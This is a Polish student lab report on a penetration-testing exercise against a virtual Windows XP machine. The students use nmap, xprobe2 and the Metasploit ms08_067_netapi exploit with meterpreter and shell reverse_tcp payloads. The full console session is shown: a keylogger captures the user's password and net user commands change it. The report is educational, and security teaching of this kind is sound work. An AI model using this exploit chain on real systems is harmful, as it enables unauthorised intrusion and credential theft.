WOJSKOWA AKADEMIA TECHNICZNA
W WARSZAWIE
PODSTAWY BEZPIECZEŃSTWA
INFORMACJI
LABORATORIUM NR. 1
TEMAT:
Analiza bezpieczeństwa systemu komputerowego poprzez złamanie jego
zabezpieczeń (penetration testing) z wykorzystaniem narzędzi dostarczonych z
dystrybucją Backtrack systemu Linux.
Prowadzący: mgr inż. Bartosz Kryński
Studenci:
Robert Nawrot
Maciej Gudanowicz
Grupa:
I9M1S1
1. Treść zadania.
Uzyskać hasło użytkownika komputera działającego pod systemem WindowsXP z
uruchomionym serwerem Apache Tomcat działającym na porcie 8080. Komputer
znajduje się w tej samej sieci co komputer wykorzystywany do przełamania
zabezpieczeń, nie posiada aktywnej zapory sieciowej. Kolejnym krokiem jest
uzyskanie dostępu do konsoli administratora atakowanego komputera i zmiana hasła
tego użytkownika.
2. Algorytm realizacji zadania.
Do identyfikacji komputera w sieci i określenia
pracującego na nim systemu operacyjnego
wykorzystaliśmy program nmap. W celu
uzyskania pewniejszych informacji na temat
pracującego na hoście systemu operacyjnego
wykorzystaliśmy program xprobe2.
Analiza podatności systemu została
zrealizowana poprzez wyszukanie w internecie
znanych błędów systemu oraz działających na
fremeworku Metasploit exploitów je
wykorzystujących. Do przejęcia kontroli nad
atakowanym hostem został wybrany exploit
ms08_067_netapi.
Do uzyskania hasła użytkownika
wykorzystaliśmy payload meterpreter i
wbudowany w niego keyloger.
Zaś zmiana hasła została zrealizowana przy
pomocy payloda dającego dostęp do konsoli
atakowanego systemu.
3. Opis wykorzystanych narzędzi i sposobu realizacji ćwiczenia.
Nmap
Jest to skaner sieciowy pozwalający na identyfikację hosta w sieci oraz jego systemu
operacyjnego. W wyniku jego działania uzyskuje się adresy sieciowe hostów
pracujących w sieci, usługi działające na hoście, otwarte porty oraz prawdopodobny
rodzaj systemu operacyjnego hosta. Program posiada wiele opcji definiujący zakres
skanowania, rodzaj używanych do skanowania pakietów, sposób ich przesyłania.
W ćwiczeniu wykorzystaliśmy skanowanie przy użyciu pakietów TCP z flagą SYN
ustawianą w celu nawiązania połączenia w zakresie sieci w której znajdowały się oba
komputery (użyty do przełamania zabezpieczeń i atakowany), opcja taka jest
uzyskiwana poprzez dodanie w wywołaniu programu komendy -sS <adres sieci>. Przy
użyciu opcji –p 8080 ograniczono skanowanie do portu 8080, zaś opcja –A została
użyta w celu włączenia detekcji systemu operacyjnego oraz wersji usług pracujących
na atakowanym hoście. W skutek tego wywołanie programu przyjęło następującą
postać: nmap -A -sS 10.3.236.0/24 -p 8080.
Listing przedstawiający część wyników uzyskanych przy pomocy programu nmap (ze
szczególnym uwzględnieniem informacji o atakowanym hoście):
root@root:~# nmap -A -sS 10.3.236.0/24 -p 8080
Nmap scan report for 10.3.236.107
Host is up (0.00071s latency).
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-methods: Potentially risky methods: PUT DELETE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Apache Tomcat
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 00:0C:29:67:E8:37 (VMware)
Warning: OSScan results may be unreliable because we could not find at least
1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 2000|XP|2003
OS details: Microsoft Windows 2000 SP2 - SP4, Windows XP SP2 - SP3, or
Windows Server 2003 SP0 - SP2
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.71 ms 10.3.236.107
OS and Service detection performed. Please report any incorrect results at
http://nmap.org/submit/ .
Nmap done: 256 IP addresses (16 hosts up) scanned in 17.77 seconds
=======================================================================
Jak widać na powyższym listingu pomimo że program nmap dał dość dużą liczbę
informacji na temat atakowanego hosta, uzyskano jednak mało precyzyjne informacje
na temat systemu operacyjnego na nim pracującego.
Xprobe2
Jest narzędziem pozwalającym na identyfikację systemu operacyjnego hosta.
Zapewnia dokładniejszą identyfikację systemu niż program nmap. W trakcie realizacji
ćwiczenie wywołano program w następujący sposób: xprobe2 –p 8080 10.3.236.107.
Gdzie 10.3.236.107 jest adresem hosta, a 8080 otwartym portem. Wynik działania
programu wskazywał na system Windows XP SP3.
Metasploit
Jest to framework do tworzenia i wykorzystywania exploitów i paylodów. Grupuje on
exploity i paylody ze względu na rodzaj systemu operacyjnego oraz usług przez nie
wykorzystywanych. Jest rozbudowanym narzędziem do testów penetracyjnych
zabezpieczeń.
W ćwiczeniu wykorzystano narzedzie konsolowe msfconsole umożliwiające
wykorzystanie narzędzi dostarczonych z frameworkiem. W celu zaatakowania celu za
pomocą exploita wykorzystującego framework należało wykonać polecenie konsoli
msfconsole: use <nazwa exploita>. A następnie ustawić jego parametry przy użyciu
polecenia set <nazwa parametru>. Wykorzystywanym przez nas exploitem był
ms08_067_netapi. Jest to exploit wykorzystujący lukę w zabezpieczeniach procesu
netapi32.dll w systemach Windows XP SP0-SP3 oraz Windows 2003 SP0-SP2.
Umożliwia przejęcie kontroli nad atakowanym systemem. W celu przeprowadzenia
ustawiano następujące parametry:
rhost – adres atakowanego hosta, lhost – adres hosta z którym atakowany komputer
ma nawiązać połączenie, w trakcie ćwiczenia był to adres komputera z którego
dokonywano ataku, oraz payload – kod do wykonania po nawiązaniu połączenia.
Następnie wykonano polecenie exploit powodujące wykonanie exploita i wykonanie
na zaatakowanym komputerze wybranego payloda. W celu wykonania postawionych
zadań wykorzystano dwa różne payloady: windows/meterpreter/reverse_tcp oraz
windows/shell/reverse_tcp.
Meterpreter jest paylodem uruchamianym w kontekście procesu wcześniej
działającego w systemie, posiada rozbudowane możliwości, umożliwia dodawanie
rozszerzeń i ma wiele takich dodatkowych funkcji wbudowanych. W ćwiczeniu
wykorzystywaliśmy funkcję umożliwiającą logowanie wpisywanych przez
użytkownika znaków z klawiatury w celu uzyskania jego hasła. W tym celu
zmieniliśmy kontekst wykonywania payloda na proces odpowiedzialny za logowanie
w systemie przy użyciu polecenia migrate <nr. procesu>, było to konieczne aby
zapobiec zakończeniu wykonywania payloda po wylogowaniu użytkownika.
Następnie przy pomocy poleceń keyscan_start – uruchamiającego logowanie
wprowadzonych znaków, oraz keyscan_dump wyświetlającego wprowadzone znaki
uzyskaliśmy wymagane dane.
Payload shell umożliwił nam wykonanie poleceń konsoli atakowanego komputera,
dzięki którym mogliśmy zmienić hasło użytkownika komputera.
Listing z wykorzystania narzędzia do wykonania ćwiczenia:
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set rhost 10.3.236.107
rhost => 10.3.236.107
msf exploit(ms08_067_netapi) > set lhost 10.3.236.43
lhost => 10.3.236.43
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 10.3.236.43:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Polish
[*] Selected Target: Windows XP SP2 Polish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 10.3.236.107
[*] Meterpreter session 2 opened (10.3.236.43:4444 -> 10.3.236.107:1062) at
2011-12-07 10:49:32 -0500
meterpreter > ps
Process list
============
PID Name Arch Session User
Path
--- ---- ---- ------- ----
----
0 [System Process]
4 System x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
572 smss.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
\SystemRoot\System32\smss.exe
636 csrss.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
\??\C:\WINDOWS\system32\csrss.exe
660 winlogon.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
\??\C:\WINDOWS\system32\winlogon.exe
704 services.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\WINDOWS\system32\services.exe
716 lsass.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\WINDOWS\system32\lsass.exe
872 svchost.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\WINDOWS\system32\svchost.exe
956 svchost.exe x86 0 $U$ZARZDZANIE NT\USUGA SIECIOWA-
0x5a41525aa5445a414e4945204e545c5553a35547412053494543494f5741
C:\WINDOWS\system32\svchost.exe
1096 svchost.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\WINDOWS\System32\svchost.exe
1256 svchost.exe x86 0 $U$ZARZDZANIE NT\USUGA SIECIOWA-
0x5a41525aa5445a414e4945204e545c5553a35547412053494543494f5741
C:\WINDOWS\system32\svchost.exe
1372 svchost.exe x86 0 $U$ZARZDZANIE NT\USUGA LOKALNA-
0x5a41525aa5445a414e4945204e545c5553a3554741204c4f4b414c4e41
C:\WINDOWS\system32\svchost.exe
1516 spoolsv.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\WINDOWS\system32\spoolsv.exe
1728 dsNcService.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\Program Files\Juniper Networks\Common Files\dsNcService.exe
1760 jqs.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\Program Files\Java\jre6\bin\jqs.exe
1968 tomcat6.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\tomcat6.exe
476 wmiapsrv.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\WINDOWS\system32\wbem\wmiapsrv.exe
592 alg.exe x86 0 $U$ZARZDZANIE NT\USUGA LOKALNA-
0x5a41525aa5445a414e4945204e545c5553a3554741204c4f4b414c4e41
C:\WINDOWS\System32\alg.exe
1420 wscntfy.exe x86 0 SERVER\Clico
C:\WINDOWS\system32\wscntfy.exe
848 explorer.exe x86 0 SERVER\Clico
C:\WINDOWS\Explorer.EXE
1904 jusched.exe x86 0 SERVER\Clico
C:\Program Files\Java\jre6\bin\jusched.exe
1924 tomcat6w.exe x86 0 SERVER\Clico
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\tomcat6w.exe
1932 ctfmon.exe x86 0 SERVER\Clico
C:\WINDOWS\system32\ctfmon.exe
880 cmd.exe x86 0 SERVER\Clico
C:\WINDOWS\system32\cmd.exe
1888 jucheck.exe x86 0 SERVER\Clico
C:\Program Files\Java\jre6\bin\jucheck.exe
680 cmd.exe x86 0 $U$ZARZDZANIE NT\SYSTEM-
0x5a41525aa5445a414e4945204e545c53595354454d
C:\WINDOWS\System32\cmd.exe
meterpreter > migrate 848
[*] Migrating to 848...
[*] Migration completed successfully.
meterpreter > migrate 660
[*] Migrating to 660...
[*] Migration completed successfully.
meterpreter > Keyscan_start
[-] Unknown command: Keyscan_start.
meterpreter > keyscan_
keyscan_dump keyscan_start keyscan_stop
meterpreter > keyscan_
keyscan_dump keyscan_start keyscan_stop
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
ala12345 <Return>
meterpreter >
meterpreter > exit
[*] Shutting down Meterpreter...
[*] Meterpreter session 2 closed. Reason: User exit
msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 10.3.236.43:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:Polish
[*] Selected Target: Windows XP SP2 Polish (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (240 bytes) to 10.3.236.107
[*] Command shell session 3 opened (10.3.236.43:4444 -> 10.3.236.107:1066) at
2011-12-07 10:55:48 -0500
Microsoft Windows XP [Wersja 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>net user
net user
Konta użytkowników dla \\
-----------------------------------------------------------------------------
--
Administrator Clico Gość
Pomocnik SUPPORT_388945a0
Zakończono wykonywanie polecenia, przy czym wystąpił przynajmniej jeden błąd.
C:\WINDOWS\system32>net user Clico *
net user Clico *
Wpisz hasło dla użytkownika: Wpisz hasło ponownie w celu potwierdzenia:
Polecenie zostało wykonane pomyślnie.
C:\WINDOWS\system32>net user Clico
net user Clico
Nazwa użytkownika Clico
Pełna nazwa
Komentarz
Komentarz użytkownika
Kod kraju 000 (Domyślne ustawienia systemu)
Konto jest aktywne Tak
Wygasanie konta Nigdy
Hasło ostatnio ustawiano 11/24/2011 6:13 AM
Ważność hasła wygasa Nigdy
Hasło może by
zmieniane 11/24/2011 6:13 AM
Wymagane jest hasło Tak
Użytkownik może zmienia
hasło Tak
Dozwolone stacje robocze Wszystkie
Skrypt logowania
Profil użytkownika
Katalog macierzysty
Ostatnie logowanie 11/24/2011 6:12 AM
Dozwolone godziny logowania Wszystkie
Członkostwa grup lokalnych *Administratorzy
Członkostwa grup globalnych *Brak
Polecenie zostało wykonane pomyślnie.
C:\WINDOWS\system32>net user Clico *
net user Clico *
Wpisz hasło dla użytkownika: Wpisz hasło ponownie w celu potwierdzenia:
Polecenie zostało wykonane pomyślnie.
C:\WINDOWS\system32>net user Clico * haselko
net user Clico * haselko
Składnia tego polecenia jest następująca:
NET USER
[nazwaużytkownika [hasło | *] [opcje]] [/DOMAIN]
nazwaużytkownika {hasło | *} /ADD [opcje] [/DOMAIN]
nazwaużytkownika [/DELETE] [/DOMAIN]
C:\WINDOWS\system32>net user Clico ala12345
net user Clico ala12345
Polecenie zostało wykonane pomyślnie.
C:\WINDOWS\system32>net user Clico haselko
net user Clico haselko
Polecenie zostało wykonane pomyślnie.
C:\WINDOWS\system32>
4. Wnioski.
Narzędzia wykorzystane do wykonania ćwiczenia znacznie ułatwiają analizę i
wykorzystanie luk w zabezpieczeniach komputera, pozwalając na przejęcie nad nim
kontroli i wykonanie własnego kodu. Pozwalają one na znacznie prostsze testowanie
zabezpieczeń systemu jak również stanowią zagrożenie znajdując się w
niepowołanych rękach, gdyż umożliwiają przejęcie kontroli nad niewystarczająco
zabezpieczonym komputerem. Ze względu na ochronę systemu komputerowego
pracującego w sieci bardzo istotne jest instalowanie aktualizacji systemu operacyjnego
jak również wykorzystanie certyfikowanej zapory sieciowej. Bez tych działań
włamanie się do systemu komputerowego i wykonanie na nim potencjalnie
szkodliwego kodu przy użyciu odpowiednich narzędzi wymaga wpisania kilku
poleceń, co dla doświadczonego włamywacza nie będzie stanowić żadnego problemu.
Tylko przedsięwzięcie wielu starań i ciągła praca na zabezpieczeniami systemu są w
stanie zagwarantować mu bezpieczeństwo składowanych w systemie danych oraz
poprawność jego działania.